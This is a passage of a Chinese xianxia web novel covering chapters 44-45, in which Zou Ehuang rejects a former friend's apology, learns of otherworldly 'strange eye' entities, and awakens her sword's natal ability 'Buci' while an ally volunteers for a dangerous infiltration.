“只是,”那何圣话音一转,“我实力并未完全恢复,还要多一个人跟着才好,既然真君要去追捕异目,那么就还要拜托小邹了” 容有衡冷笑,刚要骂一句痴心妄想,就被身侧的人按住了。 按住他的人,是终于反应过来的邹娥皇。 她看着何言知,一言不发,只是摇了摇头。 便已算拒绝。 她再怎么嫌师兄幼稚,也只是自家人之间的打趣,和对外人的排斥不一样。 咯噔地一声响。 瓷白的杯子从桌角跌下,碎了个彻底。 … 三人临近出门,分道扬镳的那一刻。 何言知唤住了邹娥皇。 他鼓起勇气,低头诚恳道:“小邹,我知道我之前做的不对,但我除了那条路别无可走,修士无轮回,今世若不能得道成仙,那没了也就是没了” 邹娥皇的脚步顿了下,她立在门口。 此刻这姑娘的背影,竟让何言知幻视了刚复活的那日。 那日他看着她的背影在晨光下拉长,然后一点点走远。 就像是指尖怎么攒也留不住的沙。 容有衡闻言意外挑眉,他抱臂站在邹娥皇身侧,一副看好戏的神色。 却只听得他师妹是这么回复那个圣人的: “何言知,有的话要是展开说了,咱们彼此也就觉得没意思了。” 邹娥皇目光平静望着外面乌黑的夜,月色里仿佛还能见到昔日里笑盈盈的书生。 她轻声说:“就像你说的一样,修士争命,你用什么途径保住自己的命,都只能算你有手段,我愿赌服输。真的。” “我救你,是因为我之前拿你当朋友。” “救你这件事,本身就和你没关系的,救你之前我也没有问过你,你到底还想不想活。救你,只是因为我觉得我的朋友不能死的那么窝囊——” 那个轻声说话的姑娘终于转过身来,疑惑不解地看着面色苍白的何言知,道: “你骗我,也不需要和我道歉的,那只能算我蠢,识人不清。” “何言知,站在天道的规则来看,你复活那日,咱们就已经两清了。站在我的角度来看,你我早已不是朋友了。而站在你的角度来看,我恐怕从来担不得朋友二字。” “此刻你愿意替密州乃至天下,去探久俊一脉,我敬你。他日待如何,再说后话。” 大殿映衬的烛光里,照得圣人脸上是半明半灭。 而那姑娘最后留给了他是只是一句忠告。 “你记着,我不是要绑架你,但未来倘若有一日,我觉得你害了人,那我会来讨回你的命的。我不觉得我复活了你,你就要按照我的想法活,但不能因为我救了你,就改变那些个本来活得好好的人的命。” 邹娥皇握着她的剑,说完便转身。 她散着花白的发,慢慢走向了无光的夜。 而一侧,容有衡摸着鼻子忽然一笑,跟了上去。 只剩下了一个何言知裹着狐裘,踏出了亮堂的大殿,披着月霜,像是尊僵硬的雕像。 他不是输给了人心,也不是输给了容有衡。 这个算无遗漏的圣人,最后只是败给了朋友二字。 轻飘飘的朋友,二字。 可是在这朋友两个字就这么重要吗? 周平曾经也对他说过他们是朋友,还不是一转身就把他卖了。 朋友这两个字,他何言知的朋友,有这么值钱吗? 半响,一阵压抑的笑,穿过长廊。 青袍捂脸,那书生笑来着哭,哭来着笑。 一滴在复活之日尚未落下的泪,此刻滚烫,慢慢滑落书生的面靥,就像未凉的热血。 第44章 人间只道黄金贵,不向天公买少年 容有衡走在邹娥皇身后。 他上一辈子飞扬跋扈, 从没有机会这么看一个人的背影;当然旁人也发怵这活阎王,不敢轻易就把后脑勺对着他。 这辈子容有衡装成了一个合格的君子,然而出门做事代表世外仙的蓬莱, 从来也没有人敢让他屈居人后。 但是邹娥皇不是别人。 她是他的师妹。 也不止是他的师妹。 容有衡眼神平直,并没有什么难为情,但也绝算不得坦荡,只有幽深的一片光在这眸里, 好像带了点些微的渴望不可求。 就在这个当口,他似乎本能地就要说些什么地当口,却只听见邹娥皇的一阵传音。 “师兄, 你刚刚是不是有什么话没有说全。” 四下无人, 若还要传音,那么要防的其实也不过就是那么一位手握密州令,可听风吹草动的何言知。 邹娥皇背着手走在前面, 其实她也不知道要去哪里找异目, 只是刚刚撂下狠话就走了出来。 但她知道她师兄。 刚刚看似打岔,但何尝不是另一种方式, 正好绕开了原先的话题, 这说明,有些话是不能说的。 至少是,不能当着何言知面说的。 邹娥皇其实和容有衡交情不深,但是同门之情的天然因素,以及那几千年的朝夕相处, 哪怕是两块石头,多少也混了个眼熟。她和她师兄交情不深, 但绝对了解彼此。 至少她明白,她师兄就算有什么话要说, 也绝对不会是避着她的,在修仙人的观念里,同门就好比兄弟姐妹,一家人从不关屋说两家话。 哪怕邹娥皇和鱼澹,这两人看似关系不好,出门在外,对于对方也用都是维护。 这是一种本能,同门之间本能的相信与交托。 容有衡眉眼忽然微弯。 他实在是一个长得极好的男子,但却没有半分阴柔的女相。此刻笑意溶溶,融入了三分月色与凉风。 “师妹聪明。” 此句亦是传音。 对于容有衡来说,若他想要避开何言知,有千万种方法,但不会有任意一种比起邹娥皇主动提出更让他心神愉悦,这说明,在她的潜意识里,她和他,才是一边的。 邹娥皇唯见容有衡抬手,被他唤作“异目”的透明魂体正在不断挣扎,但无论怎么挣扎都好像一只被掐住七寸的蛇。 “师妹,你有没有想过,为何这东西我叫它异目,而它又生得如同魂体一样?” 邹娥皇:“异目,重点不在于异,而是目。师兄刚刚说的那句白泽代石妖受过,才有了异目,所以我猜测,他们都是人为造成的因素,白泽之后,接替它的便是异目。至于这背后的人恐怕图谋不小,白泽乃神兽,我二十岁的时候就听过它神兽的名头,如果有人要下一步至少五千年的棋,那么所图谋的非天下,我竟想不出第二种。” 容有衡笑了。 “师妹,你的视线被人的身份困囫住了,天下哪里有什么值钱的,你看那周平得了天下后,玩了三年不也扔了吗?” 邹娥皇想,这可真是个地狱级笑话。 周平是扔了吗。 分明是死在了登基第三年。 “更何况,如果下这步棋的不是人呢,或者说,祂们曾经是人。” 容有衡如此道。 邹娥皇神色微变,她想了想,然后迟疑地传音。 “师兄,你是说,本世的飞升者?下这步棋的人在本世之外?” 如果是这样的话,为什么要派这些个眼线的问题就迎刃而解了。 但如果是这样的话,那她自以为的穿书,那本书的内容也很值得推敲了。原书里从没有提过什么飞升者,只是说了一句天道不全。 哎,都怪方半子出生的太晚,现在剧情线都快被他们玩崩了。 邹娥皇只觉得心慌。 人对于未知,总是要慌的。 容有衡啧了一声,“可以这么说。” “师妹,你以为他们是神是仙么,其实都不是,祂们是一群疯子。” “疯子?”邹娥皇下意识地握紧了手中的剑。 “譬如说,凡人,三千年前的凡人,不能修炼的凡人,在他们区区百年的人生里,他们可以找到一个绝对不会实现的目标,当乞丐的人想要块地,有地的人想要钱,有钱的人想去当个官,而当官的人再向上爬,就是昔日还有的龙椅。” “于是你会发现,一出生就坐在龙椅上的人,分为明君与昏君两种,极少有守成中庸者,明君的目标多半是四海升平;而昏君,与其说他昏庸,不如说他无聊到发疯,比如这世上最后一任皇帝。” “他莫非就真的不知道他的皇后是妖么?” “他莫非真的不知道忠言逆耳利于行么?” 容有衡笑了下,“他只是太无聊了,无聊到发疯,又或者说,他比背朝黄土的农人活的还要可怜,因为他根本不认同自己存在于世间的意义,他不认同君王的职位,无法履行君王的义务,却还想要举天下之力去完成自我。” “但他忘了,生来就是皇家的人,其实没资格说自我的。” 容有衡继续传音道:“那飞升之人中,就出现了一个号称真神的,师妹你也可以简单看成,修士里的皇帝。他们历经千辛万苦,终于攀到了最后一个目标,结果发现,目标背后是虚无。” “如果修士修仙是为了飞升,那么飞升是为了什么?” 天上宫阙多清冷。 若飞升是为了长生不死,那长生不死难道不是为了烟火人间么,可飞升之后,哪来人间。 邹娥皇终于转头,她盯着他师兄的眼,那双眼睛是含情脉脉的桃花眸,但是放在容有衡身上,你绝对不会觉得这个男子多情,你只会觉得他冷。 好像是万花丛中过,片叶不沾身,位于巍峨高山上只此一人的冷。 这种冷,像是一种格格不入的孤独。 但是当容有衡的眸里映出一个邹娥皇的时候,你又会觉得,这个人从未这么热过。 容有衡:“等日后时机合适了,我会告诉你全部的,但是眼下,我只能和你交代的是,本世天道不全,但天道非生来不全,是有人刻意在天上扎了个口,放下了这些异目。” “修士们想上去,但是上面的‘神’只想下来。” 邹娥皇沉默不语,她心里忽然有种很古怪的想法,但她形容不出来。 黑夜里,只能见得那透明的魂体不断挣扎。 容有衡起手,巨大的太极云纹阵法从他的手掌而出,还在不断挣扎的异目,突然就好像是看见了什么极其美味的东西一样,钻了进去。 邹娥皇终于明白,为何一开始他师兄并不急着找路,原来是因为这东西就跟钓鱼一样,把饵抛下去了,鱼自然咬钩。 “你知道这群东西一开始下界的途径是什么么,不过也就是借助阵法。” 阵法,才是这个修真界最玄妙的事情。 一般情况下来说时空转换,这是高阶大乘才能拥有的能力。 但是阵法,却能赋予低阶修士,大乘的能力;而像一些个传送符,其实里面最核心的不过也就是阵法。 无数个修士画了千百遍,但根本没有想过,为什么阵法能做到这样的地步,将大乘才有的能力赋予他们。 这件事只有大乘会想。 但是活着的大乘,又太少,太忙; 他们忙忙碌碌,经营势力,忙忙碌碌,寻找天材地宝,忙忙碌碌,到最后连求仙为了什么都忘了,却还要求。 “祂们在阵法偷窃能量,为的只是真身重临。” 邹娥皇不得不承认,她师兄或许是在编故事,但是八成说的都是真的,因为她看见了,四面八方,越来越多的嗦嗦声,穿越而过。 刚刚只有一团的异目,慢慢膨胀,逐渐变成了一个拳头,然后甚至成了一段手臂的形状。 就好像是有生命有智慧的东西。 “怎么样,怕么?” 容有衡轻声问,他来的时候走在邹娥皇后面,慢悠悠地,如今不知道什么时候,却已经站到了她前面。 月光落在散修常见的白袍上,竟多了几分说不上的恣意风流。 于是邹娥皇忽然想起来,很多年前,她师兄曾经站在那里,就代表了这天下最令人艳羡的“年少成名”“师出名门”“意气风发”“惊才艳艳”,但是后来的所有,都毁于人前的那一场假死。 人们如今说起他的时候,除了不自量力,就只剩下了幸灾乐祸。 “怕什么?” 邹娥皇忽然面无表情,少了几分方才的拘谨。 她向前走了一步。 风动草动,寂静的夜其实根本不寂静。 而万物的喧腾窸窣,邹娥皇只按住了背后的剑。 她终于明白刚刚那古怪的想法是什么了。 如果这个求仙的人,一开始为的就不是飞升呢? 就像是她,求仙这五千年,除了为一柄拔不出的剑,就是想回家,回家。 那她还会变成师兄说的,天上疯狂想下来的疯子么。 又或者,疯子一开始求仙的时候,想的也不是飞升,可能只是想庇护一方,或者为了喜欢的姑娘,再或者只是想父母欢心。 只是这路太长太长。 求到最后,只记得仙。 …… 密州十四盟分部大殿,被折腾来折腾去了的大半夜,众人其实也都困了。 只余了持剑巡逻的昆仑剑修。 李三打了个哈欠,相比与旁人的阴谋论,他在这个时候则显得心宽许多,对于他这种人来说,其实最不值钱的就是命。 因而在这个时候,别人还要疑神疑鬼不敢入睡,他偏偏自在了,两眼一磕,就是梦会周公。 “嗬,这小子睡啦?”洪兴龙听到呲呲地磨牙声,转身来看见躺着的李三就是一句笑骂。 “这声儿听起来,倒比那石妖还瘆人。” 但话虽如此,洪兴龙最后还是不知道从哪里掏出了一块破布,给李三盖上。 李三眼睫动了动,还以为要醒了,洪兴龙挠了挠后脑勺,结果下一秒众人就听见一声响天动地的鼾声。 原来是已经睡熟了。 “这小子怕还入了梦咧!”郑力嗤笑。 方半子瞅了眼,也跟着笑。 被他们笑着的李三却无所知觉,鼻翼一耸一耸地,显然睡得正是火候。 不过香不香甜还要两说。 梦里,是白天的十四盟。 李三扒着一个大夫的手腕,苦苦哀求,求他不要断了他寡奶的药。 “医者仁心,大夫你难道就要这么眼睁睁地看着这老人瞎了眼抱屈喊痛么!” 那大夫扒开他的手,“医者仁心,可咱这是药馆,不赚钱难道要打烊么。” 大夫与李三似乎相识,看出了李三眼底的怨怼。 “李三,”只听得他嗤笑一声,“你怨我?怨我有什么用,你该怨的还是你自己,你为什么不是容有衡、宴霜寒?吹什么牛皮的天下第三,现在不过也就是打杂的!” “你要是什么为人仗义的大侠,不用来我这小破庙看病,早有一堆人抢着送什么金汤玉药给你。” 那人厌恶地一踢他的膝盖骨,“仁心仁心,少来这套绑架,心能当饭吃吗?你趁早找个活计,小时候就你最没用,长大后连吊药钱都买不起,还考进十四盟,我看你是做梦!” 随着这句话重重响在李三耳边的,还有一个清脆的巴掌。 李三,醒了。 他捂着脸,噔噔地坐了起来,好像还不明白,不是说做梦吗?怎么现实里还要也挨上一个巴掌。 打他的是洪兴龙,这汉子扇了人但明显不是恶意,也并没有多瞧一眼这被他扇了的可怜虫,只是神色紧张地望着圈外。 李三顺着他的视线望过去,才发现大部分人都不由自主地挺直了身子。 圈外处,还是黑漆漆的一片,李三刚想问在看什么,结* 果就听见了轰隆隆的雷声。 天雷声,他并不陌生。 但是电闪雷鸣,并未能穿透遮住密州的那层东西。 郑力小声嘀咕:“这玩意儿,要不是太大了,还真像个星盘。” 曲轻云的神色并不好看。 但他的不好看却并非来源于这轰隆隆的天雷,而是 “嘘,你们听。” 他低声道。 是脚步声。 和这纷乱的天雷一道响起的,还有杂乱的脚步声。天雷远在天边,而稀乱的脚步却近在眼前。 伴着脚步声的,还有几句说笑声:“呀,你们怎么也在这,我还以为这是我独家的消息,咦,你供奉的大人居然和我供奉的不一样。” “是,不过真赶巧了,咱们居然都被神挑中了,能去供奉。” “我来之前还以为人少,现在才发现几百号人,唉,想出个头大约是难了。” “妖族那边可来信了,一炷香后就要人走,估摸也就这么几百号人。” “……” 殿内的人纷纷神色凝重,虽然听不懂外面那群人都在说什么,但敏锐者已经挑到了“供奉”“神”“妖族”几个关键词。 方半子把刚刚点起的灯吹灭,这是大殿唯一的光源。 郑力:“听口音,他们大多都是本地人,而且修为不高。修为高的话,脚步声不会这么碎。他们彼此之间应该也是没有什么联系的,除了碰巧认识的,更多的应该是素昧平生,而且发展他们的上线其实并不相同。我有一个想法,与其坐以待毙,我们不如混进去,届时里应外合。” “不然憋在这圈子里也不是个办法,一味地等着别人的救援么,如果是十四盟出问题了,我们等谁的救援好使,又是等谁的救援有用?” 众人面面相觑,最后又不约而同地看向曲轻云。 方才那美丽但杀机毕露的双剑还历历在目。 要出这个圈,恐怕要先过曲轻云这关。 但谁料这次,这位古板的剑修却并没有说不,而是低头沉吟了片刻,接着轻轻颔首,竟是同意了郑力的想法。 ——在没有先前李三猜测的十四盟叛乱之前,曲轻云对昆仑的信仰决定了他认同邹娥皇的观念,觉得与其自救,不如按兵不动,不给旁人添麻烦,但是当他的信仰动摇一瞬,他的剑也就后退了一步。 或许,他们自己也要该做点什么,而不是像砧板上的鱼。 曲轻云沉思片刻道:“也就是说,这个人的修为不能太高,太高就会被怀疑。” 郑力和洪兴龙面面相觑,放下了即将要迈出去的那条腿。 筑基修士,放在大佬云集的地方自然只是小虾米,但是如果换了个地方,看看洪兴龙嘎子帮二三百汉子的规模,以及之前何家那位护院老者也不过才是筑基的修为就知道,筑基,绝非能浑水摸鱼进去的修为。 “这个人必须对本地多少也有些了解,否则混迹在其中会显得过于突兀。” 又有一堆收脚的声音。 在场的人,多半都是从流仙酒楼里出来的,密州人虽然不少,但密州广大,需要住酒楼的多半都不是本地人。一城之内,尚有城村口音差别,更何况是一州之内。 就算是本地人。 只要不是他自己带出来的师弟师妹,曲轻云其实都没把握能说服对方去冒此等大险。 “这个人最好还能灵活一些,能够面对各种突发状况而面不改色” 说到第三句话的时候,其实已经零零星星没有几个人了。 相比于前面两个硬性条件,第三个软性条件其实算不得什么,单论第三个,大家都是修真界要修仙的人,或多或少或早或晚总该直面生死过,灵活与机动早早就被练就,郑力那样头铁的茬子永远只是少数人。 “而最重要的是,这个人不能怕死。” 此话一捶地,曲轻云又听见了一阵后退的脚步声。 这也是常事。 如果他们最后都未能幸免于此难这剑修闭眼想,甚至都没办法证明这个人牺牲过、勇敢过、大无畏过。 人这一生,就算有勇于牺牲者,不过也就是为名为利,而少数寥寥者,为己心者,曲轻云见得最多的还是蓬莱那群“我心应我”的怪胎,但是这里没有蓬莱。 这里没有蓬莱那群怪胚。 “我去。” 在众人的左顾右盼下,李三的声音从来没有这么大过。 或许他只是在用和往常一样的音调说话,只是周围寂静,便衬得他多走的那一步格外显眼。 为什么要站起来。 因为有的事就是非做不可的。 或许只是因为他最合适,刚刚那声音他听着了,不少都是他昔日的同僚,既然这样,那他混进去,觉不算突兀。 又或许只是他刚从梦里起来,被人扇的脑瓜疼,心头还梗着很久之前的那口气。 李三,醒了。 但他现在站出来,又好像没醒。 心能当饭吃么? 做好事会有回报么? 嘲讽的话语历历在目,李三把打碎的牙吞肚子里。 后来,后来他去了十四盟,变成了梦里那个大夫一样的角色,他也开始对着来十四盟求他办事的人冷嘲热讽,好像就要教他们认清楚现实,现实里就是灵玉黄金换酒钱,粗布麻衣谈什么证道理想。 但是现在为什么要站起来呢? 如果他是君子,他或许要说:明知不可为而为之。 如果他是侠士,他或许要说不蒸馒头争口气。 如果他 可如果,他只是李三呢。 他只是那个卑躬屈膝、趋炎附壁、投机取巧这世界上有一万个形容小人的词都可以落在他身上的李三,哪怕当初跑去酒楼传信或许也有那么一些潜意识是看中了蓬莱这颗大树好招风的家伙。 如今就真的敢,赌上性命去做这件吃力不讨好的事情么。 敢的。 万般生路,李三走多了苟且偷生的结局。 可如今也想试试,匹夫之怒,能否流血五步。 只有站起来的人,才知道没有人会说你不该站起来,所有的打压与恐惧,最大的来源其实是脑内的想象。 但是李三站起身来时,又幻听了那阵巴掌声。 噼里啪啦的,好像就在耳边,让他头晕脑晃。 李三下意识地捂住脸,然后才反应过来刚刚是做梦,现在没人会打他脸。 他再一回头,却发现这巴掌声原来不是幻听。 也不止是一声,是噼里啪啦的很多声,从不同的方位传来,更像是一种无形的冠冕。 是骄傲的曲轻云,是刚正的郑力,是懵懂的方半子,是嘎子帮那群壮汉,是昆仑那些个尚少年意气的剑修是一堆相望不相闻,曾离他很远的人,在这里为他鼓掌。 巴掌不落在脸上的时候,原来是这样的清脆。 李三这次没有哭。 他只是眼睛湿了。 而他永远也不会知道,在密州之外,蓬莱飞岛上,正在与众人商讨的蓬莱老祖,忽然若有所思地双手捧酒,痛饮落肚。 敬此不辞。 小小的蝴蝶扇起一阵风,或许就可助力名叫苍生的这条船最后启航的那一段坡。 第45章 你的本命神通,叫不辞 “这个世界上, 出手是为了杀的人并不少,宴霜寒只是其中最著名的一个而已,如今天下人人都羡艳这样的剑修, 但他们不知道,宴霜寒那样的剑,走到尽头不过也只有毁灭,区别就是为了这天下轰轰烈烈的死, 还是独自一人闭关洞穴。” “宴霜寒的师父夜无咎,昆仑老祖,近两年或许听见他的名字的人少了, 但他手里握着的剑, 不比宴霜寒的神华剑差分毫。” “然而正是因为不差,在剑道的最后,以杀意铸就的剑, 要迎来的唯有只有毁灭二字。” 那是上辈子的某一天, 蓬莱道祖是这么同容有衡说的: “我了解夜无咎,正因为了解, 我才觉得他应该已经死了, 几千年几千年的闭关,一剑不出,对于他来说,与死无异。” “偏偏他那样的剑,又是不能出的。” 道祖叹:“他要等, 等一个最合适的时机,以身殉剑。 “剑术一事上, 比起现在名声赫赫的剑皇宴霜寒,夜无咎才是此道的祖师爷。但是你们推崇宴霜寒, 我觉得没错,因为他做到了一件事。” 容有衡心里一跳:“什么事?” “夜无咎选择了一人闭关,悄无声息;宴霜寒却敢一人封死海,岂非大丈夫?” 而昆仑道祖那日同容有衡叹的最后一口气,是这么说的: “说了这么多,可这天下最强的一剑,本座知道,不在他们身上。” 如果连一人封印死海的宴霜寒都没有这天下至强的一剑,如果连开创剑道一剑万法的夜无咎都不算第一剑 那么,还有谁。 其实答案已经很明显了。 这世上最强的剑,若要比一剑霜寒十四州的神华剑还要霸道,要比九九归一道法本道的烈月剑还要玄妙,那唯剩下了藏于剑鞘的一剑。 人人都相信,冰冻三尺非一日之寒; 但矛盾的是,相信冰冻能“积少成多”的世人,往往都会嘲笑弱小的水滴也能穿石。 蓬莱道祖无论人前人后都曾说过,邹娥皇有一把不输于宴霜寒的剑,可这世上真正相信的人从不超过五个指头。 夜光三分渡下枯树枝桠,容有衡看着他前面的师妹。 他本不是甘于人后的性子。 他本也不是能让别人挡在他前面的人。 容有衡两世从未给任何人让过剑,男人女人都一样,他骄傲,因而不愿意让任何一个人抢了他的风头;他自信,所以哪怕是同辈天骄宴霜寒,在他这里不过也就是尔尔。 但是这一刻,他后退了一步。 因为他看见邹娥皇,摸住了剑柄。 这剑,在上一世是异目最大的克星。 这剑,曾经补全了天道。 这把剑,无名。 这把剑的名字,就叫无名。 这把剑在上辈子,只于人前出鞘了一次,然而就是这一次补全了天道,在这把剑出鞘后,人们都在问这是谁的剑,人们都在赞扬剑的主人,人们都以为这一定是什么不出世的高手。 人人都以为。 ——这一定只是高手随手抽出的一把一次性的黑色的铁剑,所以绝不心疼地就丢了出去。 但这些人都不知道,这些人也没有想过。 这样造型平凡的剑,居然也可以是一个人的本命剑。 前世,他的师妹,邹娥皇,五千年只出了这么一剑,五千年也只有这么一把剑。 而这补全天道的是剑,但也绝不止是剑。 是他师妹的所有支撑,是他师妹一个人走过五千年唯一的伙伴,是他师妹的坚定,是他师妹的心,也是他师妹的命。 前世,邹娥皇没有死于上界神之手,没有死于复杂的爱恨情仇,没有死于旁人的算计。 她是病死的。 拔不出剑不曾让她生了心魔。而丢了剑后成了英雄,无数个闻风而来的铸剑人,热情洋溢地为她献上一把又一把的好剑,有龙宫的裴珠剑,还有生于天地的苍海剑无数把造型奇异的好剑—— 却让这老姑娘生了心魔。 此刻,缩聚成一团的异目,经历了几个形态的转变后,逐渐变成了一颗人头,无数个挣扎的藤蔓从阵法中凭空汇聚而起,为这颗头颅封上了身躯。 那颗头颅,慢慢地生出了一双眼睛。 一双诡异地,带着血丝的眼睛。 “师兄,你刚刚说祂是什么东西?” 邹娥皇忽然问道。 容有衡默默注视着她花白的后脑勺,回道:“神。” 却只听得他师妹轻笑了一声:“神?” “我觉得未必。” 邹娥皇抽出了剑。 重剑沉沉,注定了它握在手上的时候不会轻巧,天然的特性,也决定了这剑比起那些巧剑少了无数个灵动的剑招。 而重剑唯一比轻剑说的出手的地方,不过也就一点。 它刚强,因而无坚不摧。 “要窃取本世界灵力的东西,是小偷,而小偷,绝不该被叫做神。” 那高速膨胀的异目发出了之前从未有过的嘶嘶声音,似乎是发现逃不开了,又似乎是先前已经在密州四周碰过壁了,此刻慢慢从阵法中央脱胚出了一个瘦长的身影。 容有衡撒开了手。 这个阵法里他送入了大量的灵气,虽然作为鱼钩,但这个阵法还有另一个妙用,就是锁形。 这是一个锁形的阵法。 上一辈子异目在大**意张扬地出现的时候,人们除了一开始的束手无策,很快便想出了相对应的对策,就是既然异目摸不着,碰不到,像一团气体—— 那能不能在这团抓不住的“气体”外面,套一层笼子。 事实证明,这是完全可行的。 可以说,何言知那个星盘封锁的方法,不过也就是另一种更高明的手段而已。 在众人没有想到星盘这个方法之前,哪怕这个阵法有诸多缺点,譬如说禁锢大,灵气耗费多,材料贵,要定时维修但也确实是算得上为数不多的招儿了。 尽管这为剩不多的可怜一招,能用出的实际并不多,毕竟在准备好材料施展出来的那一刻,多半异目这东西就溜出了那块小小的范围。 于是在抵御异目的那几年里,十四州,到处都是这锁形阵,人族的气氛空前地压抑了起来,然后在锁形阵推出的第三年,妖族就向上界神,投诚了。 当时的妖王,新一代的久俊,它是这么说的:“吾不能让吾的子孙后代,生活在到处都是洞的世界里。” 它说,神既然是杀不死的,那么本世界的生灵就应该适应这种变化,弱小者给强大者臣服,本就是天经地义。 什么狗屁歪理。 照这个说法,那这上一任妖王根本没必要掀起浩浩荡荡的战争,给人族臣服不是更好么,何必明知赢少输多的几率下,还要去掀起那场血流成河的战争。 容有衡抱着臂。 前世乱七八糟的种种事情,都比不过他眼前的邹娥皇。 寒夜里,唯见一口白白的雾气从邹娥皇口中飘出。 比起前几次握剑,这次的她显然多了几分的胸有成竹。 第一剑,要先抽这个人形物体的心脏位置,判断虚实。 邹娥皇只能看出来,这被叫做异目的魂体,在不断吸食着本天地的灵气,但她看不出来的是,这异目到底只是单纯的灵力组成,还是说它因为产自上界神,是否还有了大乘以上的境界—— 她不敢掉以轻心,这一剑用的是火树银花,不过刹那剑就有寒芒万点,确保就算异目组成的这个东西要害点在脚底里,也能被一下子抽到。 但是很可惜 邹娥皇站在原地,神色凝重地看着前方。 异目并没有被击中,甚至都没有像她想象的一样,如同无实的雾气散开,它立在那里,诡异的双眼带了丝丝的血红,里面好像有什么不安分的黑条在反复滚动,就连那些实形的藤蔓都没有被在这剑招下溃散。 而她自己的右臂,却已经有些许地微麻。 第二剑,是被动的。 因为第一剑的失败,似乎激怒那没有实体的异目,无数藤蔓如同满天星雨,一下子都朝邹娥皇鞭打而来。 邹娥皇躲闪不及。 在这个当口,她用出了第二剑。 是流云十三诀里的第七招,满天云卷。 此剑下,刚刚那些招架不急的藤蔓,一瞬间都好像被一块巨大的幕布包裹住了,凌冽的攻击变得迟缓,或许不是攻击变得迟缓,而是她的剑变得快了,兜住了密密麻麻的攻击。 邹娥皇脚尖点地。 这一剑,她确定自己是碰到了那些诡异的藤蔓的了,但是却并未斩断。 而第一剑的火树银花剑法,本就是带了火的,却并不能给这些藤蔓予以痛击,这就说明,那些藤蔓,和木应该是没什么关系的,或者说,从阵法里不断衍生出来的这个东西,只是长得像藤蔓。 实际上,有可能还是另一种物质。 下一剑,邹娥皇直接冲着异目那透明如白雾、只有一双眼睛带着血红的头而去。 疯狂的藤蔓在空中不断飞舞,企图拦下她,但这一次却失败了——站在一旁原本只是抱臂的容有衡不知何已时一跃而起,白袍鼓风。 他伸手,巨大的太极图蕴慢慢浮现在他身后,接着手上凭空握住了一条三丈七寸的长棍。 听过容有衡名头的人都知道,这是他的拿手好戏,太极棍,不次于他的短匕,他和宴霜寒约架的那一次,用的也正是这棍子。 只见棍子以肉眼看不见的速度,不过一个呼吸,随着容有衡在暗中如影子般鬼魅的身形,将一根根藤条抽打回去。 藤条有人对付了,邹娥皇的压力自然就小了。 于是她的第三剑,一下子就穿透了透明如空气般的魂体。 这只证明了一件事。 那就是,她能碰到藤蔓,甚至剑穿过透明的部分的时候,还会出现如同刀在皮肉上穿过的阻碍声,但她的剑对于这透明的部分,确实是毫无伤害。 她抽剑回来的时候,刚刚巨大裂缝已经消失了,还是没插剑时候的模样。 但也并非全无收获,也就是在离这东西特别近的一瞬间,邹娥皇才终于听清楚了异目一直以来发出的嘶嘶声那嘶嘶声,并不只是单纯地嘶嘶。 好像是在说“神、神、神…” 就像是已经太久没有和人交流的人,只会本能地记着几个单调的发音。 邹娥皇渐渐一转刚刚的攻势,提着剑,奔走在间隙里。她浑身上下只有一条剑脉,因而全力之下,其实几剑就容易灵力告支。 但是就在第三剑挥出的当下,与异目穿脸而过的时候,她脑海里忽然迸出了些许的感觉。 这样的感觉,抽象地理解来看,就是一种机缘。 修真界有各种各样的奇遇,然而最可遇不可得的,却并非是秘境里的那些天材地宝,而是自身的突破,比如境界,也比如心境。 甚至还有一种可能是,本命灵器,终于悟出了本命神通。 邹娥皇大脑一片白光,步法依靠本能地在几点之间游动闪躲,她在悟道。 又或者,在和她的剑交流。 本命神通分为战气、五行、神识、意念四种。 战气是这里面最常见的,不外乎就是在受伤的条件下短暂的提升境界;又或者是给法器本身增幅,爆发出平日里施展不出的威力。 五行取自于金木水火土,五行之气,是较为常见的。 神识则比较稀缺,类似于曲轻云的无双剑,以模拟水流的波动声,减缓旁人的注意力,动摇其心神,达到出其不意的效果。 至于最后一种意念么,听起来和神识似乎有些微妙的相似,其实完全不同,其他三类或多或少大差不差,但唯有意念这一类里的本命神通,千奇百怪。 有关于意念的本命神通,这些年修真界众人印象最深的,还是七彩阁的一名女修,觉醒的本命法器是彩铃,本命神通就叫做“富贵”,轻轻一摇,便有黄金万两奉上,但是据说极其伤根,所以轻易不得用。 这样的无厘头的意念神通,并不算少数。 就比如当下。 邹娥皇的本命神通。 是意念神通,名叫“不辞”。 在穿异目而过的瞬间,她手中的剑不变方向,不变力度,但她忽然就有了一种玄妙的感觉。 不辞。 她的本命剑,无名;而她本命剑的神通,名叫不辞。 是蓬莱道义里的,不辞。 夜里的风声并不大,但是冷,刮过人的表皮,激起一层细而绵密的疙瘩。 天边渐渐出现了一道极其亮眼的白光。 这道光,瞧着像是初晨太阳东升时的一道彩霞,暖而不烈,要刺透所有的乌云,然后才肯将这伸手不见五指的夜色换下。 但这光,偏偏一看就知道不是太阳能散发的光芒。 因为它是从西边出的。 是一柄剑,一柄黑剑。 邹娥皇握着手里的剑,她从来没觉得身子这么轻快过。 她也从没有想过,一把黑剑,居然能爆发出这么夺目亮眼的光芒。 可是这光芒,烈而不伤。 容有衡渐渐停住了打斗,他立在原地,而那群不断纠缠的藤蔓并没有停下来,它们张牙舞爪不知疲倦地扑了上来,但就在即将碰到雪白的衣袍的前一刻,忽然炸成了虚无的气。 一瞬间,不断运转的阵法,被束缚住的异目,都不见了,都化作了虚无的气。 原地,只剩下了一只笔。 ——帝王须。 但是在此刻,这曾名震天下,让几代帝王趋之若鹜的笔,竟也黯淡无光,朱红的笔杆滚落在泥里,无人理睬。 因为有处的光芒远远地盖过了它的风头。 容有衡的目光,停在了那至明至亮的姑娘身上,停了很久。 邹娥皇左手脱力地垂下,她一下子虚坐在地上,好像还有点没反应过来。 怎么就领悟了本命神通? 怎么就打散了那群可恶的东西? 怎么就挥出了那样的一剑? “师妹,你的本命神通叫什么?” 容有衡轻声问。 这是他上一辈子想了很久,但是再也没有机会听到的答案。 邹娥皇迟疑道:“在我第二剑刺透那群异目的时候,我的剑好像跟我说话了不,好像也不是说话,就像是一种潜意识的本能,它在告诉我——” “不辞。” 不辞,不辞万死,不辞九险,不辞初心。 上一辈子诸多人都在欢呼这一剑,救活了崩塌的本世。 但他们都忘了问,为何偏偏是这样的一剑。 面对那些个金刚不入,佛魔不侵的虚无之体,为何偏偏是这样的的一剑,给予了重创。 这剑到底有什么不同。 单凭它亮么。 这剑没有剑意,拔剑的人也没有剑心。 若按一种最恰当的比喻,容有衡第一时间想起的是上古时期一种鸟,一生只歌唱一次,一生只啼叫一次,然后歌尽而亡,啼血而死。 就是这样的剑。 邹娥皇上一辈子没有剑心,她的剑也没有剑意,以自己为燃料,将此剑拔出,于是一剑飞入九重天。 